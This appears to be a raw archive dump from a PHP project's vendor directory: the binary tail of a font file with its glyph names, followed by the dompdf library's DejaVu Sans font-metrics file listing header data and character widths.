uni291Euni291Funi2920uni2921uni2922uni2923uni2924uni2925uni2926uni2927uni2928uni2929uni292Auni292Buni292Cuni292Duni292Euni292Funi2930uni2931uni2932uni2933uni2934uni2935uni2936uni2937uni2938uni2939uni293Auni293Buni293Cuni293Duni293Euni293Funi2940uni2941uni2942uni2943uni2944uni2945uni2946uni2947uni2948uni2949uni294Auni294Buni294Cuni294Duni294Euni294Funi2950uni2951uni2952uni2953uni2954uni2955uni2956uni2957uni2958uni2959uni295Auni295Buni295Cuni295Duni295Euni295Funi2960uni2961uni2962uni2963uni2964uni2965uni2966uni2967uni2968uni2969uni296Auni296Buni296Cuni296Duni296Euni296Funi2970uni2971uni2972uni2973uni2974uni2975uni2976uni2977uni2978uni2979uni297Auni297Buni297Cuni297Duni297Euni297Funi29EBuni2A0Cuni2A0Duni2A0Euni2A2Funi2A6Auni2A6Buni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C60uni2C61uni2C63uni2C64uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2D17uni2D18uni2D19uni2D1Auni2D1Buni2D1Cuni2D1Duni2D1Euni2D1Funi2D20uni2D21uni2D22uni2D23uni2D24uni2D25uni2E18uni2E1Funi2E22uni2E23uni2E24uni2E25uni2E2EuniA644uniA645uniA646uniA647uniA650uniA651uniA654uniA655uniA656uniA657uniA698uniA699uniA708uniA709uniA70AuniA70BuniA70CuniA70DuniA70EuniA70FuniA710uniA711uniA712uniA713uniA714uniA715uniA716uniA71BuniA71CuniA71DuniA71EuniA71FuniA726uniA727uniA728uniA729uniA72AuniA72BuniA72CuniA72DuniA72EuniA72FuniA730uniA731uniA732uniA733uniA734uniA735uniA736uniA737uniA738uniA739uniA73AuniA73BuniA73CuniA73DuniA73EuniA73FuniA740uniA741uniA746uniA747uniA74AuniA74BuniA74EuniA74FuniA768uniA769uniA77BuniA77CuniA780uniA781uniA782uniA783uniA784uniA785uniA786uniA787uniA78BuniA78CuniA78DuniA790uniA791uniA7AAuniA7F8uniA7F9uniA7FAuniA7FBuniA7FCuniA7FDuniA7FEuniA7FFuniF400uniF401uniF402uniF403uniF404uniF405uniF406uniF407uniF408uniF409uniF40AuniF40BuniF40CuniF40DuniF40EuniF40FuniF410uniF411uniF412uniF413uniF414uniF415uniF416uniF417uniF418uniF419uniF41AuniF41BuniF41CuniF41DuniF41EuniF41FuniF420uniF421uniF422uniF423uniF424uniF425uniF426uniF428uniF6C4uniF6C5uniF6C6uniF6C7uniF6C8cyrBrevecyrbreveuniFB00uniFB03uniFB04uniFB05uniFB06uniFE00uniFE01uniFE02uniFE03uniFE04uniFE05uniFE06uniFE07uniFE08uniFE09uniFE0AuniFE0BuniFE0CuniFE0DuniFE0EuniFE0FuniFFF9uniFFFAuniFFFBuniFFFCuniFFFDu1D468u1D469u1D46Au1D46Bu1D46Cu1D46Du1D46Eu1D46Fu1D470u1D471u1D472u1D473u1D474u1D475u1D476u1D477u1D478u1D479u1D47Au1D47Bu1D47Cu1D47Du1D47Eu1D47Fu1D480u1D481u1D482u1D483u1D484u1D485u1D486u1D487u1D488u1D489u1D48Au1D48Bu1D48Cu1D48Du1D48Eu1D48Fu1D490u1D491u1D492u1D493u1D494u1D495u1D496u1D497u1D498u1D499u1D49Au1D49Bu1D71Cu1D71Du1D71Eu1D71Fu1D720u1D721u1D722u1D723u1D724u1D725u1D726u1D727u1D728u1D729u1D72Au1D72Bu1D72Cu1D72Du1D72Eu1D72Fu1D730u1D731u1D732u1D733u1D734u1D735u1D736u1D737u1D738u1D739u1D73Au1D73Bu1D73Cu1D73Du1D73Eu1D73Fu1D740u1D741u1D742u1D743u1D744u1D745u1D746u1D747u1D748u1D749u1D74Au1D74Bu1D74Cu1D74Du1D74Eu1D74Fu1D750u1D751u1D752u1D753u1D754u1D755	dlLtcaronDieresisAcuteTildeGrave
CircumflexCaronuni0311.caseBreve	DotaccentHungarumlautDoublegraveiogonek.dotlessuni0268.dotlessdotaccent.iuni029D.dotlessuni1E2D.dotlessuni1ECB.dotlessflorinflorinfloriniflorinl
florinflorini
florinflorinlEng.altae.alt
brailledotuni0453.MKDuni03080304uni03040308uni03070304uni03080301uni03080300uni03040301uni03040300uni03030304uni0308030Cuni03030308uni030C0307uni03030301uni03020301uni03020300uni03020303uni03060303uni03060301uni03060300uni03060309uni03020309uni03010307g.altEng.alt2uni01B7.altq.smcpx.smcp
delta.smcp
theta.smcpxi.smcp
sigma.smcpphi.smcp
omega.smcpexclamdown.casequestiondown.caseuni2E18.casegermandbls.smcpUring.ringless
Dcroat.alt
dcroat.altuni01E4.altuni01E5.alt��@���K��
��2ǻƻ�Ė�����G�}�G�0�}���������
��&�
�@���������
�7��
�!�7����2����.����������+���t�+�t��������
�������]������%�]�@���%�������@����@�����
���d���t�d�����@��
��
��
�2�
���}���t�}���t�2�����q��
��
@~t~�}|}�|{z�{�zy]z�z�yx%y]y@x%w7vtvkutu�ts�rqr�qq�po.p�o.n�m�lkKj
h�g
g@f!e}d�@�ckb�a}`�^]]�[YXY-XW2VTST�SRQPQ%PPOONMN}MI
MM@LL1KK2JI
J}I
HG
H}G
FE
F2EDE
E���@�DCBC�BA@A}@6	@@�?=)?�>=)>]==)<;<;:;:9
:9
878}76	77�6	6@545�4+	43	3�2)
2�100/$)/7.!
.-,-�,+	,,@+	*&*)
)@('(�'&''@&%$)%�$!$)#!#�"!
"�! !
!�  @!*@�-:!}22!�)k!)
!-}	-��

�@
	
�	�

@�@���d��+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++vendor/dompdf/dompdf/lib/fonts/DejaVuSans.ufm000066600000672567151150443000015222 0ustar00StartFontMetrics 4.1
Notice Converted by PHP-font-lib
Comment https://github.com/PhenX/php-font-lib
EncodingScheme FontSpecific
FontName DejaVu Sans
FontSubfamily Book
UniqueID DejaVu Sans
FullName DejaVu Sans
Version Version 2.37
PostScriptName DejaVuSans
Manufacturer DejaVu fonts team
FontVendorURL http://dejavu.sourceforge.net
LicenseURL http://dejavu.sourceforge.net/wiki/index.php/License
PreferredFamily DejaVu Sans
PreferredSubfamily Book
Weight Medium
ItalicAngle 0
IsFixedPitch false
UnderlineThickness 44
UnderlinePosition -63
FontHeightOffset 0
Ascender 928
Descender -236
FontBBox -1021 -463 1793 1232
StartCharMetrics 6253
U 32 ; WX 318 ; N space ; G 3
U 33 ; WX 401 ; N exclam ; G 4
U 34 ; WX 460 ; N quotedbl ; G 5
U 35 ; WX 838 ; N numbersign ; G 6
U 36 ; WX 636 ; N dollar ; G 7
U 37 ; WX 950 ; N percent ; G 8
U 38 ; WX 780 ; N ampersand ; G 9
U 39 ; WX 275 ; N quotesingle ; G 10
U 40 ; WX 390 ; N parenleft ; G 11
U 41 ; WX 390 ; N parenright ; G 12
U 42 ; WX 500 ; N asterisk ; G 13
U 43 ; WX 838 ; N plus ; G 14
U 44 ; WX 318 ; N comma ; G 15
U 45 ; WX 361 ; N hyphen ; G 16
U 46 ; WX 318 ; N period ; G 17
U 47 ; WX 337 ; N slash ; G 18
U 48 ; WX 636 ; N zero ; G 19
U 49 ; WX 636 ; N one ; G 20
U 50 ; WX 636 ; N two ; G 21
U 51 ; WX 636 ; N three ; G 22
U 52 ; WX 636 ; N four ; G 23
U 53 ; WX 636 ; N five ; G 24
U 54 ; WX 636 ; N six ; G 25
U 55 ; WX 636 ; N seven ; G 26
U 56 ; WX 636 ; N eight ; G 27
U 57 ; WX 636 ; N nine ; G 28
U 58 ; WX 337 ; N colon ; G 29
U 59 ; WX 337 ; N semicolon ; G 30
U 60 ; WX 838 ; N less ; G 31
U 61 ; WX 838 ; N equal ; G 32
U 62 ; WX 838 ; N greater ; G 33
U 63 ; WX 531 ; N question ; G 34
U 64 ; WX 1000 ; N at ; G 35
U 65 ; WX 684 ; N A ; G 36
U 66 ; WX 686 ; N B ; G 37
U 67 ; WX 698 ; N C ; G 38
U 68 ; WX 770 ; N D ; G 39
U 69 ; WX 632 ; N E ; G 40
U 70 ; WX 575 ; N F ; G 41
U 71 ; WX 775 ; N G ; G 42
U 72 ; WX 752 ; N H ; G 43
U 73 ; WX 295 ; N I ; G 44
U 74 ; WX 295 ; N J ; G 45
U 75 ; WX 656 ; N K ; G 46
U 76 ; WX 557 ; N L ; G 47
U 77 ; WX 863 ; N M ; G 48
U 78 ; WX 748 ; N N ; G 49
U 79 ; WX 787 ; N O ; G 50
U 80 ; WX 603 ; N P ; G 51
U 81 ; WX 787 ; N Q ; G 52
U 82 ; WX 695 ; N R ; G 53
U 83 ; WX 635 ; N S ; G 54
U 84 ; WX 611 ; N T ; G 55
U 85 ; WX 732 ; N U ; G 56
U 86 ; WX 684 ; N V ; G 57
U 87 ; WX 989 ; N W ; G 58
U 88 ; WX 685 ; N X ; G 59
U 89 ; WX 611 ; N Y ; G 60
U 90 ; WX 685 ; N Z ; G 61
U 91 ; WX 390 ; N bracketleft ; G 62
U 92 ; WX 337 ; N backslash ; G 63
U 93 ; WX 390 ; N bracketright ; G 64
U 94 ; WX 838 ; N asciicircum ; G 65
U 95 ; WX 500 ; N underscore ; G 66
U 96 ; WX 500 ; N grave ; G 67
U 97 ; WX 613 ; N a ; G 68
U 98 ; WX 635 ; N b ; G 69
U 99 ; WX 550 ; N c ; G 70
U 100 ; WX 635 ; N d ; G 71
U 101 ; WX 615 ; N e ; G 72
U 102 ; WX 352 ; N f ; G 73
U 103 ; WX 635 ; N g ; G 74
U 104 ; WX 634 ; N h ; G 75
U 105 ; WX 278 ; N i ; G 76
U 106 ; WX 278 ; N j ; G 77
U 107 ; WX 579 ; N k ; G 78
U 108 ; WX 278 ; N l ; G 79
U 109 ; WX 974 ; N m ; G 80
U 110 ; WX 634 ; N n ; G 81
U 111 ; WX 612 ; N o ; G 82
U 112 ; WX 635 ; N p ; G 83
U 113 ; WX 635 ; N q ; G 84
U 114 ; WX 411 ; N r ; G 85
U 115 ; WX 521 ; N s ; G 86
U 116 ; WX 392 ; N t ; G 87
U 117 ; WX 634 ; N u ; G 88
U 118 ; WX 592 ; N v ; G 89
U 119 ; WX 818 ; N w ; G 90
U 120 ; WX 592 ; N x ; G 91
U 121 ; WX 592 ; N y ; G 92
U 122 ; WX 525 ; N z ; G 93
U 123 ; WX 636 ; N braceleft ; G 94
U 124 ; WX 337 ; N bar ; G 95
U 125 ; WX 636 ; N braceright ; G 96
U 126 ; WX 838 ; N asciitilde ; G 97
U 160 ; WX 318 ; N nbspace ; G 98
U 161 ; WX 401 ; N exclamdown ; G 99
U 162 ; WX 636 ; N cent ; G 100
U 163 ; WX 636 ; N sterling ; G 101
U 164 ; WX 636 ; N currency ; G 102
U 165 ; WX 636 ; N yen ; G 103
U 166 ; WX 337 ; N brokenbar ; G 104
U 167 ; WX 500 ; N section ; G 105
U 168 ; WX 500 ; N dieresis ; G 106
U 169 ; WX 1000 ; N copyright ; G 107
U 170 ; WX 471 ; N ordfeminine ; G 108
U 171 ; WX 612 ; N guillemotleft ; G 109
U 172 ; WX 838 ; N logicalnot ; G 110
U 173 ; WX 361 ; N sfthyphen ; G 111
U 174 ; WX 1000 ; N registered ; G 112
U 175 ; WX 500 ; N macron ; G 113
U 176 ; WX 500 ; N degree ; G 114
U 177 ; WX 838 ; N plusminus ; G 115
U 178 ; WX 401 ; N twosuperior ; G 116
U 179 ; WX 401 ; N threesuperior ; G 117
U 180 ; WX 500 ; N acute ; G 118
U 181 ; WX 636 ; N mu ; G 119
U 182 ; WX 636 ; N paragraph ; G 120
U 183 ; WX 318 ; N periodcentered ; G 121
U 184 ; WX 500 ; N cedilla ; G 122
U 185 ; WX 401 ; N onesuperior ; G 123
U 186 ; WX 471 ; N ordmasculine ; G 124
U 187 ; WX 612 ; N guillemotright ; G 125
U 188 ; WX 969 ; N onequarter ; G 126
U 189 ; WX 969 ; N onehalf ; G 127
U 190 ; WX 969 ; N threequarters ; G 128
U 191 ; WX 531 ; N questiondown ; G 129
U 192 ; WX 684 ; N Agrave ; G 130
U 193 ; WX 684 ; N Aacute ; G 131
U 194 ; WX 684 ; N Acircumflex ; G 132
U 195 ; WX 684 ; N Atilde ; G 133
U 196 ; WX 684 ; N Adieresis ; G 134
U 197 ; WX 684 ; N Aring ; G 135
U 198 ; WX 974 ; N AE ; G 136
U 199 ; WX 698 ; N Ccedilla ; G 137
U 200 ; WX 632 ; N Egrave ; G 138
U 201 ; WX 632 ; N Eacute ; G 139
U 202 ; WX 632 ; N Ecircumflex ; G 140
U 203 ; WX 632 ; N Edieresis ; G 141
U 204 ; WX 295 ; N Igrave ; G 142
U 205 ; WX 295 ; N Iacute ; G 143
U 206 ; WX 295 ; N Icircumflex ; G 144
U 207 ; WX 295 ; N Idieresis ; G 145
U 208 ; WX 775 ; N Eth ; G 146
U 209 ; WX 748 ; N Ntilde ; G 147
U 210 ; WX 787 ; N Ograve ; G 148
U 211 ; WX 787 ; N Oacute ; G 149
U 212 ; WX 787 ; N Ocircumflex ; G 150
U 213 ; WX 787 ; N Otilde ; G 151
U 214 ; WX 787 ; N Odieresis ; G 152
U 215 ; WX 838 ; N multiply ; G 153
U 216 ; WX 787 ; N Oslash ; G 154
U 217 ; WX 732 ; N Ugrave ; G 155
U 218 ; WX 732 ; N Uacute ; G 156
U 219 ; WX 732 ; N Ucircumflex ; G 157
U 220 ; WX 732 ; N Udieresis ; G 158
U 221 ; WX 611 ; N Yacute ; G 159
U 222 ; WX 605 ; N Thorn ; G 160
U 223 ; WX 630 ; N germandbls ; G 161
U 224 ; WX 613 ; N agrave ; G 162
U 225 ; WX 613 ; N aacute ; G 163
U 226 ; WX 613 ; N acircumflex ; G 164
U 227 ; WX 613 ; N atilde ; G 165
U 228 ; WX 613 ; N adieresis ; G 166
U 229 ; WX 613 ; N aring ; G 167
U 230 ; WX 982 ; N ae ; G 168
U 231 ; WX 550 ; N ccedilla ; G 169
U 232 ; WX 615 ; N egrave ; G 170
U 233 ; WX 615 ; N eacute ; G 171
U 234 ; WX 615 ; N ecircumflex ; G 172
U 235 ; WX 615 ; N edieresis ; G 173
U 236 ; WX 278 ; N igrave ; G 174
U 237 ; WX 278 ; N iacute ; G 175
U 238 ; WX 278 ; N icircumflex ; G 176
U 239 ; WX 278 ; N idieresis ; G 177
U 240 ; WX 612 ; N eth ; G 178
U 241 ; WX 634 ; N ntilde ; G 179
U 242 ; WX 612 ; N ograve ; G 180
U 243 ; WX 612 ; N oacute ; G 181
U 244 ; WX 612 ; N ocircumflex ; G 182
U 245 ; WX 612 ; N otilde ; G 183
U 246 ; WX 612 ; N odieresis ; G 184
U 247 ; WX 838 ; N divide ; G 185
U 248 ; WX 612 ; N oslash ; G 186
U 249 ; WX 634 ; N ugrave ; G 187
U 250 ; WX 634 ; N uacute ; G 188
U 251 ; WX 634 ; N ucircumflex ; G 189
U 252 ; WX 634 ; N udieresis ; G 190
U 253 ; WX 592 ; N yacute ; G 191
U 254 ; WX 635 ; N thorn ; G 192
U 255 ; WX 592 ; N ydieresis ; G 193
U 256 ; WX 684 ; N Amacron ; G 194
U 257 ; WX 613 ; N amacron ; G 195
U 258 ; WX 684 ; N Abreve ; G 196
U 259 ; WX 613 ; N abreve ; G 197
U 260 ; WX 684 ; N Aogonek ; G 198
U 261 ; WX 613 ; N aogonek ; G 199
U 262 ; WX 698 ; N Cacute ; G 200
U 263 ; WX 550 ; N cacute ; G 201
U 264 ; WX 698 ; N Ccircumflex ; G 202
U 265 ; WX 550 ; N ccircumflex ; G 203
U 266 ; WX 698 ; N Cdotaccent ; G 204
U 267 ; WX 550 ; N cdotaccent ; G 205
U 268 ; WX 698 ; N Ccaron ; G 206
U 269 ; WX 550 ; N ccaron ; G 207
U 270 ; WX 770 ; N Dcaron ; G 208
U 271 ; WX 635 ; N dcaron ; G 209
U 272 ; WX 775 ; N Dcroat ; G 210
U 273 ; WX 635 ; N dmacron ; G 211
U 274 ; WX 632 ; N Emacron ; G 212
U 275 ; WX 615 ; N emacron ; G 213
U 276 ; WX 632 ; N Ebreve ; G 214
U 277 ; WX 615 ; N ebreve ; G 215
U 278 ; WX 632 ; N Edotaccent ; G 216
U 279 ; WX 615 ; N edotaccent ; G 217
U 280 ; WX 632 ; N Eogonek ; G 218
U 281 ; WX 615 ; N eogonek ; G 219
U 282 ; WX 632 ; N Ecaron ; G 220
U 283 ; WX 615 ; N ecaron ; G 221
U 284 ; WX 775 ; N Gcircumflex ; G 222
U 285 ; WX 635 ; N gcircumflex ; G 223
U 286 ; WX 775 ; N Gbreve ; G 224
U 287 ; WX 635 ; N gbreve ; G 225
U 288 ; WX 775 ; N Gdotaccent ; G 226
U 289 ; WX 635 ; N gdotaccent ; G 227
U 290 ; WX 775 ; N Gcommaaccent ; G 228
U 291 ; WX 635 ; N gcommaaccent ; G 229
U 292 ; WX 752 ; N Hcircumflex ; G 230
U 293 ; WX 634 ; N hcircumflex ; G 231
U 294 ; WX 916 ; N Hbar ; G 232
U 295 ; WX 695 ; N hbar ; G 233
U 296 ; WX 295 ; N Itilde ; G 234
U 297 ; WX 278 ; N itilde ; G 235
U 298 ; WX 295 ; N Imacron ; G 236
U 299 ; WX 278 ; N imacron ; G 237
U 300 ; WX 295 ; N Ibreve ; G 238
U 301 ; WX 278 ; N ibreve ; G 239
U 302 ; WX 295 ; N Iogonek ; G 240
U 303 ; WX 278 ; N iogonek ; G 241
U 304 ; WX 295 ; N Idot ; G 242
U 305 ; WX 278 ; N dotlessi ; G 243
U 306 ; WX 590 ; N IJ ; G 244
U 307 ; WX 556 ; N ij ; G 245
U 308 ; WX 295 ; N Jcircumflex ; G 246
U 309 ; WX 278 ; N jcircumflex ; G 247
U 310 ; WX 656 ; N Kcommaaccent ; G 248
U 311 ; WX 579 ; N kcommaaccent ; G 249
U 312 ; WX 579 ; N kgreenlandic ; G 250
U 313 ; WX 557 ; N Lacute ; G 251
U 314 ; WX 278 ; N lacute ; G 252
U 315 ; WX 557 ; N Lcommaaccent ; G 253
U 316 ; WX 278 ; N lcommaaccent ; G 254
U 317 ; WX 557 ; N Lcaron ; G 255
U 318 ; WX 375 ; N lcaron ; G 256
U 319 ; WX 557 ; N Ldot ; G 257
U 320 ; WX 342 ; N ldot ; G 258
U 321 ; WX 562 ; N Lslash ; G 259
U 322 ; WX 284 ; N lslash ; G 260
U 323 ; WX 748 ; N Nacute ; G 261
U 324 ; WX 634 ; N nacute ; G 262
U 325 ; WX 748 ; N Ncommaaccent ; G 263
U 326 ; WX 634 ; N ncommaaccent ; G 264
U 327 ; WX 748 ; N Ncaron ; G 265
U 328 ; WX 634 ; N ncaron ; G 266
U 329 ; WX 813 ; N napostrophe ; G 267
U 330 ; WX 748 ; N Eng ; G 268
U 331 ; WX 634 ; N eng ; G 269
U 332 ; WX 787 ; N Omacron ; G 270
U 333 ; WX 612 ; N omacron ; G 271
U 334 ; WX 787 ; N Obreve ; G 272
U 335 ; WX 612 ; N obreve ; G 273
U 336 ; WX 787 ; N Ohungarumlaut ; G 274
U 337 ; WX 612 ; N ohungarumlaut ; G 275
U 338 ; WX 1070 ; N OE ; G 276
U 339 ; WX 1023 ; N oe ; G 277
U 340 ; WX 695 ; N Racute ; G 278
U 341 ; WX 411 ; N racute ; G 279
U 342 ; WX 695 ; N Rcommaaccent ; G 280
U 343 ; WX 411 ; N rcommaaccent ; G 281
U 344 ; WX 695 ; N Rcaron ; G 282
U 345 ; WX 411 ; N rcaron ; G 283
U 346 ; WX 635 ; N Sacute ; G 284
U 347 ; WX 521 ; N sacute ; G 285
U 348 ; WX 635 ; N Scircumflex ; G 286
U 349 ; WX 521 ; N scircumflex ; G 287
U 350 ; WX 635 ; N Scedilla ; G 288
U 351 ; WX 521 ; N scedilla ; G 289
U 352 ; WX 635 ; N Scaron ; G 290
U 353 ; WX 521 ; N scaron ; G 291
U 354 ; WX 611 ; N Tcommaaccent ; G 292
U 355 ; WX 392 ; N tcommaaccent ; G 293
U 356 ; WX 611 ; N Tcaron ; G 294
U 357 ; WX 392 ; N tcaron ; G 295
U 358 ; WX 611 ; N Tbar ; G 296
U 359 ; WX 392 ; N tbar ; G 297
U 360 ; WX 732 ; N Utilde ; G 298
U 361 ; WX 634 ; N utilde ; G 299
U 362 ; WX 732 ; N Umacron ; G 300
U 363 ; WX 634 ; N umacron ; G 301
U 364 ; WX 732 ; N Ubreve ; G 302
U 365 ; WX 634 ; N ubreve ; G 303
U 366 ; WX 732 ; N Uring ; G 304
U 367 ; WX 634 ; N uring ; G 305
U 368 ; WX 732 ; N Uhungarumlaut ; G 306
U 369 ; WX 634 ; N uhungarumlaut ; G 307
U 370 ; WX 732 ; N Uogonek ; G 308
U 371 ; WX 634 ; N uogonek ; G 309
U 372 ; WX 989 ; N Wcircumflex ; G 310
U 373 ; WX 818 ; N wcircumflex ; G 311
U 374 ; WX 611 ; N Ycircumflex ; G 312
U 375 ; WX 592 ; N ycircumflex ; G 313
U 376 ; WX 611 ; N Ydieresis ; G 314
U 377 ; WX 685 ; N Zacute ; G 315
U 378 ; WX 525 ; N zacute ; G 316
U 379 ; WX 685 ; N Zdotaccent ; G 317
U 380 ; WX 525 ; N zdotaccent ; G 318
U 381 ; WX 685 ; N Zcaron ; G 319
U 382 ; WX 525 ; N zcaron ; G 320
U 383 ; WX 352 ; N longs ; G 321
U 384 ; WX 635 ; N uni0180 ; G 322
U 385 ; WX 735 ; N uni0181 ; G 323
U 386 ; WX 686 ; N uni0182 ; G 324
U 387 ; WX 635 ; N uni0183 ; G 325
U 388 ; WX 686 ; N uni0184 ; G 326
U 389 ; WX 635 ; N uni0185 ; G 327
U 390 ; WX 703 ; N uni0186 ; G 328
U 391 ; WX 698 ; N uni0187 ; G 329
U 392 ; WX 550 ; N uni0188 ; G 330
U 393 ; WX 775 ; N uni0189 ; G 331
U 394 ; WX 819 ; N uni018A ; G 332
U 395 ; WX 686 ; N uni018B ; G 333
U 396 ; WX 635 ; N uni018C ; G 334
U 397 ; WX 612 ; N uni018D ; G 335
U 398 ; WX 632 ; N uni018E ; G 336
U 399 ; WX 787 ; N uni018F ; G 337
U 400 ; WX 614 ; N uni0190 ; G 338
U 401 ; WX 575 ; N uni0191 ; G 339
U 402 ; WX 352 ; N florin ; G 340
U 403 ; WX 775 ; N uni0193 ; G 341
U 404 ; WX 687 ; N uni0194 ; G 342
U 405 ; WX 984 ; N uni0195 ; G 343
U 406 ; WX 354 ; N uni0196 ; G 344
U 407 ; WX 295 ; N uni0197 ; G 345
U 408 ; WX 746 ; N uni0198 ; G 346
U 409 ; WX 579 ; N uni0199 ; G 347
U 410 ; WX 278 ; N uni019A ; G 348
U 411 ; WX 592 ; N uni019B ; G 349
U 412 ; WX 974 ; N uni019C ; G 350
U 413 ; WX 748 ; N uni019D ; G 351
U 414 ; WX 634 ; N uni019E ; G 352
U 415 ; WX 787 ; N uni019F ; G 353
U 416 ; WX 913 ; N Ohorn ; G 354
U 417 ; WX 612 ; N ohorn ; G 355
U 418 ; WX 949 ; N uni01A2 ; G 356
U 419 ; WX 759 ; N uni01A3 ; G 357
U 420 ; WX 652 ; N uni01A4 ; G 358
U 421 ; WX 635 ; N uni01A5 ; G 359
U 422 ; WX 695 ; N uni01A6 ; G 360
U 423 ; WX 635 ; N uni01A7 ; G 361
U 424 ; WX 521 ; N uni01A8 ; G 362
U 425 ; WX 632 ; N uni01A9 ; G 363
U 426 ; WX 336 ; N uni01AA ; G 364
U 427 ; WX 392 ; N uni01AB ; G 365
U 428 ; WX 611 ; N uni01AC ; G 366
U 429 ; WX 392 ; N uni01AD ; G 367
U 430 ; WX 611 ; N uni01AE ; G 368
U 431 ; WX 858 ; N Uhorn ; G 369
U 432 ; WX 634 ; N uhorn ; G 370
U 433 ; WX 764 ; N uni01B1 ; G 371
U 434 ; WX 721 ; N uni01B2 ; G 372
U 435 ; WX 744 ; N uni01B3 ; G 373
U 436 ; WX 730 ; N uni01B4 ; G 374
U 437 ; WX 685 ; N uni01B5 ; G 375
U 438 ; WX 525 ; N uni01B6 ; G 376
U 439 ; WX 666 ; N uni01B7 ; G 377
U 440 ; WX 666 ; N uni01B8 ; G 378
U 441 ; WX 578 ; N uni01B9 ; G 379
U 442 ; WX 525 ; N uni01BA ; G 380
U 443 ; WX 636 ; N uni01BB ; G 381
U 444 ; WX 666 ; N uni01BC ; G 382
U 445 ; WX 578 ; N uni01BD ; G 383
U 446 ; WX 510 ; N uni01BE ; G 384
U 447 ; WX 635 ; N uni01BF ; G 385
U 448 ; WX 295 ; N uni01C0 ; G 386
U 449 ; WX 492 ; N uni01C1 ; G 387
U 450 ; WX 459 ; N uni01C2 ; G 388
U 451 ; WX 295 ; N uni01C3 ; G 389
U 452 ; WX 1422 ; N uni01C4 ; G 390
U 453 ; WX 1299 ; N uni01C5 ; G 391
U 454 ; WX 1154 ; N uni01C6 ; G 392
U 455 ; WX 835 ; N uni01C7 ; G 393
U 456 ; WX 787 ; N uni01C8 ; G 394
U 457 ; WX 457 ; N uni01C9 ; G 395
U 458 ; WX 931 ; N uni01CA ; G 396
U 459 ; WX 924 ; N uni01CB ; G 397
U 460 ; WX 797 ; N uni01CC ; G 398
U 461 ; WX 684 ; N uni01CD ; G 399
U 462 ; WX 613 ; N uni01CE ; G 400
U 463 ; WX 295 ; N uni01CF ; G 401
U 464 ; WX 278 ; N uni01D0 ; G 402
U 465 ; WX 787 ; N uni01D1 ; G 403
U 466 ; WX 612 ; N uni01D2 ; G 404
U 467 ; WX 732 ; N uni01D3 ; G 405
U 468 ; WX 634 ; N uni01D4 ; G 406
U 469 ; WX 732 ; N uni01D5 ; G 407
U 470 ; WX 634 ; N uni01D6 ; G 408
U 471 ; WX 732 ; N uni01D7 ; G 409
U 472 ; WX 634 ; N uni01D8 ; G 410
U 473 ; WX 732 ; N uni01D9 ; G 411
U 474 ; WX 634 ; N uni01DA ; G 412
U 475 ; WX 732 ; N uni01DB ; G 413
U 476 ; WX 634 ; N uni01DC ; G 414
U 477 ; WX 615 ; N uni01DD ; G 415
U 478 ; WX 684 ; N uni01DE ; G 416
U 479 ; WX 613 ; N uni01DF ; G 417
U 480 ; WX 684 ; N uni01E0 ; G 418
U 481 ; WX 613 ; N uni01E1 ; G 419
U 482 ; WX 974 ; N uni01E2 ; G 420
U 483 ; WX 982 ; N uni01E3 ; G 421
U 484 ; WX 775 ; N uni01E4 ; G 422
U 485 ; WX 635 ; N uni01E5 ; G 423
U 486 ; WX 775 ; N Gcaron ; G 424
U 487 ; WX 635 ; N gcaron ; G 425
U 488 ; WX 656 ; N uni01E8 ; G 426
U 489 ; WX 579 ; N uni01E9 ; G 427
U 490 ; WX 787 ; N uni01EA ; G 428
U 491 ; WX 612 ; N uni01EB ; G 429
U 492 ; WX 787 ; N uni01EC ; G 430
U 493 ; WX 612 ; N uni01ED ; G 431
U 494 ; WX 666 ; N uni01EE ; G 432
U 495 ; WX 578 ; N uni01EF ; G 433
U 496 ; WX 278 ; N uni01F0 ; G 434
U 497 ; WX 1422 ; N uni01F1 ; G 435
U 498 ; WX 1299 ; N uni01F2 ; G 436
U 499 ; WX 1154 ; N uni01F3 ; G 437
U 500 ; WX 775 ; N uni01F4 ; G 438
U 501 ; WX 635 ; N uni01F5 ; G 439
U 502 ; WX 1113 ; N uni01F6 ; G 440
U 503 ; WX 682 ; N uni01F7 ; G 441
U 504 ; WX 748 ; N uni01F8 ; G 442
U 505 ; WX 634 ; N uni01F9 ; G 443
U 506 ; WX 684 ; N Aringacute ; G 444
U 507 ; WX 613 ; N aringacute ; G 445
U 508 ; WX 974 ; N AEacute ; G 446
U 509 ; WX 982 ; N aeacute ; G 447
U 510 ; WX 787 ; N Oslashacute ; G 448
U 511 ; WX 612 ; N oslashacute ; G 449
U 512 ; WX 684 ; N uni0200 ; G 450
U 513 ; WX 613 ; N uni0201 ; G 451
U 514 ; WX 684 ; N uni0202 ; G 452
U 515 ; WX 613 ; N uni0203 ; G 453
U 516 ; WX 632 ; N uni0204 ; G 454
U 517 ; WX 615 ; N uni0205 ; G 455
U 518 ; WX 632 ; N uni0206 ; G 456
U 519 ; WX 615 ; N uni0207 ; G 457
U 520 ; WX 295 ; N uni0208 ; G 458
U 521 ; WX 278 ; N uni0209 ; G 459
U 522 ; WX 295 ; N uni020A ; G 460
U 523 ; WX 278 ; N uni020B ; G 461
U 524 ; WX 787 ; N uni020C ; G 462
U 525 ; WX 612 ; N uni020D ; G 463
U 526 ; WX 787 ; N uni020E ; G 464
U 527 ; WX 612 ; N uni020F ; G 465
U 528 ; WX 695 ; N uni0210 ; G 466
U 529 ; WX 411 ; N uni0211 ; G 467
U 530 ; WX 695 ; N uni0212 ; G 468
U 531 ; WX 411 ; N uni0213 ; G 469
U 532 ; WX 732 ; N uni0214 ; G 470
U 533 ; WX 634 ; N uni0215 ; G 471
